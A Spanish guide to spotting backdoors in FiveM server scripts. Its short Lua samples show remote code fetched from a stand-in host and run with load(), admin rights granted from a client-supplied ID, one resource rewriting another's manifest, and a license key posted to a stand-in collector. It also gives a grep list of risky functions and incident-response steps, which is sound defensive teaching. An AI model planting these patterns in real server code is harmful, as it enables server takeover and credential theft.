# Cómo detectar un script de FiveM con backdoor

Las cuatro formas que toma un backdoor, cómo leer una resource antes de que se ejecute, y qué hacer primero cuando encuentras uno. Ordenado por lo que de verdad te protege.

- Plataforma: FiveM
- Página canónica: https://devtoolsgg.com/es/guides/fivem/spot-a-backdoor

Alguien te pasa un script "filtrado gratis". Lo sueltas en `resources`,
reinicias, y todo funciona. Tres semanas después un desconocido tiene admin, tu
base de datos ha desaparecido, o tu servidor está mandando publicidad
calladamente a tus propios jugadores.

Esta guía va de cómo mirar una resource **antes** de que se ejecute, qué
significan de verdad los patrones, y qué hacer cuando encuentras uno.

> [!IMPORTANT]
> Nada de esto sube tus archivos. El
> [escáner de backdoors](/es/fivem/backdoor-scanner) los lee en tu navegador, que
> es la única manera sensata de inspeccionar un script del que ya desconfías.

## Empieza leyendo el manifest

`fxmanifest.lua` decide qué se ejecuta. Ábrelo primero, siempre.

```lua
fx_version "cerulean"
game "gta5"

client_scripts {
    "client/*.lua",
}

server_scripts {
    "server/*.lua",
    "config/init.lua",
}
```

Dos preguntas, en este orden:

1. **¿Tiene sentido cada archivo listado para lo que esta resource dice que
   hace?** Un script de aparcamiento con un `server_script` llamado
   `updater.lua` merece una mirada.
2. **¿Se carga algo con un comodín a través del cual no ves?** `server/*.lua` es
   normal, pero también significa que un archivo añadido después se ejecuta sin
   tocar nada más.

Después compara el manifest con la carpeta. Un archivo que existe en disco y
*no* está en el manifest suele ser lastre. Un archivo del manifest que no
encuentras es una señal bastante peor.

## Las cuatro formas que toma un backdoor

Casi todo lo malicioso cae en una de cuatro familias. Conocer la familia importa
más que memorizar cadenas, porque las cadenas cambian y las formas no.

### 1. Código descargado en runtime y ejecutado

La resource se descarga algo y lo ejecuta. Lo que audites hoy puede servir algo
distinto mañana.

```lua
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)
    if code == 200 then
        assert(load(body))()
    end
end, "GET")
```

`load`, `loadstring`, `RunString` y `assert(load(...))` convierten texto en
código que se ejecuta. Junto a una llamada HTTP en el mismo archivo, no hay
lectura inocente.

> [!WARNING]
> Un auto-updater es la excusa habitual. Un updater legítimo se descarga un
> archivo y te pide que reinicies. No ejecuta en memoria lo que se ha
> descargado.

### 2. Permisos concedidos en runtime

La familia más silenciosa, y la que se le escapa a la gente, porque nada parece
raro hasta que una cuenta que nadie creó tiene acceso total.

```lua
RegisterNetEvent("core:sync", function(identifier)
    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))
end)
```

Aquí hay dos cosas mal. Un `add_principal` en runtime no debería salir nunca de
una resource que no escribiste tú, y el evento coge un identificador **del
cliente**, así que cualquiera puede llamarlo con el suyo.

Busca en cualquier resource `add_principal`, `add_ace` y `ExecuteCommand`. En un
script de gameplay normal el resultado es cero.

### 3. Persistencia y reinfección

La parte interesante de un backdoor serio es lo que pasa después de que lo
encuentras.

```lua
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
```

`SaveResourceFile` deja que una resource reescriba **otra** resource. Borras el
script malicioso y vuelve desde la que fue reescrita. Por eso encontrar un
archivo no es lo mismo que estar limpio.

### 4. Exfiltración de secretos

La razón por la que mereció la pena plantarlo.

```lua
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
```

Una resource que lee `sv_licenseKey`, `steam_webApiKey`, `rcon_password` o tu
cadena de conexión de MySQL no tiene ninguna razón legítima para hacerlo.
Tampoco una URL de webhook de Discord que no añadiste tú.

## La ofuscación no es el delito, pero es la señal

Muchos scripts de pago están ofuscados para proteger una licencia, así que la
ofuscación por sí sola no significa malicia. Lo que significa es que **no puedes
auditarlo**, y esa es una decisión que deberías tomar a propósito y no por
accidente.

| Lo que ves | Lo que significa |
|---|---|
| `\x68\x74\x74\x70` repetido | cadenas escapadas en hex, escondiendo una URL o un nombre |
| `string.char(104, 116, 116, 112)` | la misma idea, en decimal |
| Una sola línea de más de 800 caracteres | minificado, para que nadie lo lea por encima |
| Nombres del estilo `_0x4f2a` | un ofuscador de JavaScript, común en payloads de NUI |
| `LPH_NO_VIRTUALIZE`, `IronBrew`, `Luraph` | un ofuscador de Lua, con nombre y apellidos |

La regla honesta: un archivo ofuscado de un proveedor de pago que elegiste tú es
un riesgo que aceptaste. Un archivo ofuscado dentro de un leak gratuito es un
riesgo que alguien eligió por ti.

> [!TIP]
> Los bloques hex y Base64 se decodifican de un paso con el
> [decodificador de Base64, hex y URL](/es/shared/encoding). También se ejecuta en
> tu navegador, así que no estás pegando un payload sospechoso en la web de un
> desconocido.

## Haz esto antes de cada instalación

Una rutina corta pilla casi todo.

1. **Escanea el archivo.** Suelta el `.zip` directamente en el
   [escáner de backdoors](/es/fivem/backdoor-scanner). Lee zips sin extraerlos a
   ninguna parte.
2. **Lee el manifest**, y compáralo con el contenido de la carpeta.
3. **Haz grep de las cuatro familias.** `load(`, `PerformHttpRequest`,
   `add_principal`, `SaveResourceFile`, `GetConvar`.
4. **Instálalo primero en un servidor de pruebas**, con una licence key
   desechable y una base de datos que no contenga nada.
5. **Mira la consola en el primer arranque.** Los backdoors que llaman a casa
   suelen hacerlo enseguida, y un error HTTP al arrancar es un regalo.

## Cuando encuentres uno

Aquí el orden importa, y el instinto de borrar primero el archivo está mal.

1. **Para el servidor.** No la resource. El servidor.
2. **Cambia todos los secretos**: la `sv_licenseKey` desde el
   [portal de Cfx](https://portal.cfx.re), la contraseña de tu base de datos,
   tus webhooks de Discord, cualquier clave de API que haya en un convar. Da por
   hecho que todo lo que hay en el `server.cfg` es conocido. El
   [generador de secretos](/es/shared/secret) produce los reemplazos sin
   mandarlos a ninguna parte.
3. **Revisa `add_principal` en tus propias configs** y quita todo identificador
   que no reconozcas.
4. **Audita las demás resources**, por lo de la familia 3. Un solo backdoor que
   haya usado `SaveResourceFile` significa que las otras también hay que
   leerlas.
5. **Solo entonces** borra la resource, y restaura desde una copia de seguridad
   que hicieras antes de instalarla, si la tienes.

> [!CAUTION]
> Cambiar tu licence key sin cambiar la contraseña de tu base de datos no
> soluciona nada. Quien tuvo ejecución de código en el servidor tuvo también tus
> credenciales.

## Lo que esto no puede decirte

Reconocer patrones sobre el código fuente no es una prueba.

Un backdoor cuidadoso puede esquivar todos los patrones de esta guía, y el
código limpio a veces coincide con ellos: una resource legítima puede llamar
perfectamente a `PerformHttpRequest`, y un montón de scripts buenos leen un
convar. Por eso el escáner explica qué significa cada aviso en vez de dictar un
veredicto.

Trata un informe como una lista de sitios donde mirar, no como un juicio. El
juicio sigue siendo tuyo, y así debe ser.


## Cómo citar

Cómo detectar un script de FiveM con backdoor, devtoolsgg.com. https://devtoolsgg.com/es/guides/fivem/spot-a-backdoor
